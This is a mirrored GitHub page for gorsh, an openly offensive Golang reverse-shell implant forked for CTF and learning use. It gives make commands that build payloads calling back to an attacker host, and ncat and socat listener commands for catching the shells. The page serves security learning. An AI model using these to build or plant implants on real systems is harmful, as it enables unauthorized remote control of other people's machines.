GithubHelp home page GithubHelp logo

gavz / gorsh Goto Github PK

View Code? Open in Web Editor NEW

This project forked from audibleblink/gorsh

0.0 1.0 0.0 8.77 MB

A Golang Reverse Shell

License: GNU General Public License v3.0

Makefile 19.57% Go 75.11% Shell 5.32%

gorsh's Introduction

gorsh

[go]lang [r]everse [sh]ell

Originally forked from - sysdream/hershell

Motivation

Learn go.
Make a throwaway reverse shell for things like CTFs.
Learn about host-based OPSEC considerations when writing an implant.

Fork Changes

Changes after fork:

  • Uses tmux as a pseudo-C2-like interface, creating a new window with each agent callback
  • Download files with HTTP on all platform
  • Download files with SMB on all windows
  • Situational Awareness output on new shells
  • Removed Meterpreter functionality
  • Removed Shellcode execution
  • Remove the use of passing power/shell commands at the gorsh prompt
  • Add common file operation commands that use go instead of power/shell

TODO:

Potentially add reverse socks5 proxy functionality - Using Numbers11/rvprxmx

Getting started

Check out the official documentation for an intro to developing with Go and setting up your Golang environment (with the $GOPATH environment variable).

Building the payload

First, you'll need to generate your certs:

$ make depends

To simplify things, read the provided Makefile. You can set the following environment variables:

-GOOS: the target OS -GOARCH: the target architecture -LHOST: the attacker IP or domain name -LPORT: the listener port

See possibleGOOSandGOARCHvariables here.

For the make targets, you only need theLHOSTandLPORTenvironment variables.

Generate with:

$ make {windows,macos,linux}{32,64} LHOST=example.com LPORT=443

Catching the shell

The local/start.sh kicks off a tmux session and creates new windows on every new connection.

Shells can also be caught with:

  • socat (not working on macos)
  • ncat
  • openssl server module
  • metasploit multi handler (with a python/shell_reverse_tcp_ssl payload)

Examples

$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234
$ socat stdio OPENSSL-LISTEN:443,cert=server.pem,key=server.key,verify=0

Once executed, you will be provided with the gorsh shell. Type help to show what commands are supported.

Credits

Initial Work - Ronan Kervella <r.kervella -at- sysdream -dot- com>

Modifications - f47h3r - @f47h3r_b0

gorsh's People

Contributors

audibleblink avatar lesnuages avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.